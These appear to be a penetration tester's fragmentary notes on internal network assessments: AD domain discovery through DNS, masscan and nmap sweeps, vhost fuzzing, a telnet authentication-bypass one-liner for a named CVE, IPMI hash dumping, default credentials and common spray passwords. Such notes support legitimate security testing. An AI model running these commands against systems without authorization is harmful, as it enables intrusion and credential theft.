Most internals (at least the ones I’ve been on) use Active Directory, so refer to those enumeration/exploitation notes for in-depth details on any specific attack path
resolvectl status can tell us where the upstream DNS servers aredig @{DNS_IP} SRV _ldap._tcp.dc._msdcs.{guessed_domain_name} can show us there the DC SRV records are
NXDOMAIN but show what the actual domain is, which we can rerun the query againstZeroLogon, badsuccessor, obsolete, gpp_password)snmp, ike, and ipmidc04-prd-dc1-a)nxc/impacket may fail to use these creds (throwing a STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT), so request TGT using creds insteadUnauthenticated Service Exploitation
USER='-f root' telnet -a {IP}postgres:postgres)querydispinfo to check each of the users’ descriptions for sensitive informationWelcome1, Welcome123, Fall2026! Fall2026, Summer2026, {company_name}123, etc.sudo masscan -iL scope.txt --rate 1000 -oX masscan-sweep.xml -p <ports>
80,23,443,21,22,25,3389,110,445,139,143,53,135,3306,8080,1723,111,995,993,5900,1025,587,8888,199,1720,6379,1433,5432,9200,2049
sort -r -k3 /usr/share/nmap/nmap-services | grep tcp | head -n {num_ports} | awk '{split($2, a, "/"); print a[1]}' | paste -sd ',' -
Finding subdomains on internal webapps
test.localffuf can serve us nicelytest.local in /etc/hosts, and then run gobuster vhost -u http://test.local -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 200 --append-domain > vhost and then grep vhost for "Status: 200" or grep -v {data_to_exclude}
ffuf -u http://{IP} -H "Host: FUZZ.test.local" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txtCheck for Telnet CVE-2026-24061
USER='-f root' telnet -a {IP}Check for IPMI
auxiliary/scanner/ipmi/ipmi_dumphashes can dump the hashes